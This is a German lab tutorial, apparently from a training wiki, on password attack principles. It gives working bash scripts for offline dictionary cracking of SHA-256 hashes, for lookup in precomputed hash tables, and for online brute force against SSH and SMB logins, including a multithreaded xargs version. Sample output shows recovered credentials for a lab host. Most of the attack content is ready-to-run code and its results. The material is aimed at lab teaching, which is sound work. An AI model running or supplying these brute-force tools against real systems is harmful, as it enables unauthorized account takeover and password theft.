Passwort Angriffe Prinzip
Offline gegen Hash
Offline-Angriff gegen einen einzelnen Hash. Jedes Wort der Liste wird zur Laufzeit gehasht und mit dem Ziel-Hash verglichen - langsam, da pro Versuch ein sha256sum läuft.
- wget https://xinux.de/downloads/bad-passwords
- cat pw-crack-offline.sh
#!/bin/bash
HASH=$1
while read LINE
do
PW_HS=$(echo $LINE | sha256sum | cut -f 1 -d " ")
if [[ $PW_HS == $HASH ]]
then
echo "Treffer: $LINE"
exit
fi
done < $2
- ./pw-crack-offline.sh cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 bad-passwords
Treffer: whatever
Hash-Tabelle
Die Hashes liegen vorberechnet als Tabelle vor (Format passwort:hash). Der Angriff vergleicht nur noch und spart sich das Hashen pro Durchlauf - schneller, dafür muss die Tabelle vorher erzeugt werden.
- wget https://xinux.de/downloads/bad-passwords.hash
- cat pw-crack-offline-hash.sh
#!/bin/bash
HASH=$1
while read LINE
do
PW_HS=$(echo $LINE | cut -f 2 -d :)
if [[ $PW_HS == $HASH ]]
then
PW=$(echo $LINE | cut -f 1 -d :)
echo "Treffer: $PW"
exit
fi
done < $2
- ./pw-crack-offline-hash.sh ba22bae4d286f37a07e800585b8acba09add0e2a370c6ea5b2b354f859d8c12d bad-passwords.hash
Treffer: lovely
SSH-Hack
Online-Angriff: kein Hash, sondern es wird live gegen den Dienst angemeldet. Jeder Versuch erzeugt Netzwerkverkehr und taucht im Log auf — laut und langsam.
- sudo apt install sshpass
- cat ssh-pass-hack.sh
#!/bin/bash
# einfaches SSH-PW-Brute wie hydra (Lab)
HOST=$1
USER=$2
WORTLISTE=$3
while read PW
do
if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" "exit" 2>/dev/null
then
echo "Treffer: $USER:$PW"
exit
fi
done < "$WORTLISTE"
- ./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball
SMB-Hack
Wie der SSH-Hack, nur gegen den SMB-Dienst. Gleiche Logik, anderer Dienst.
- cat smb-pass-hack.sh
#!/bin/bash
# einfaches SMB-PW-Brute wie hydra (Lab)
HOST=$1
USER=$2
WORTLISTE=$3
while read PW
do
if smbclient -L "//$HOST" -U "$USER%$PW" -m SMB3 2>/dev/null >/dev/null
then
echo "Treffer: $USER:$PW"
exit
fi
done < "$WORTLISTE"
- ./smb-pass-hack.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball
Multithread Methode
Statt die Wortliste seriell abzuarbeiten, werden mit xargs -P mehrere Anmeldeversuche parallel gestartet - deutlich schneller. Die eigentliche Anmeldung steckt in einer Funktion, die exportiert und von xargs pro Passwort aufgerufen wird. Achtung: zu viele Threads können beim Ziel einen Account-Lockout auslösen.
- cat ssh-pass-hack-mt.sh
#!/bin/bash
HOST="$1"
USER="$2"
WORTLISTE="$3"
THREADS=16 # Anzahl paralleler Jobs
try_pw() {
PW="$1"
if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" exit >/dev/null 2>&1
then
echo "Treffer: $USER:$PW"
fi
}
export -f try_pw
export HOST USER
cat "$WORTLISTE" | xargs -P $THREADS -I{} bash -c 'try_pw "$@"' _ {}
- ./ssh-pass-hack-mt.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball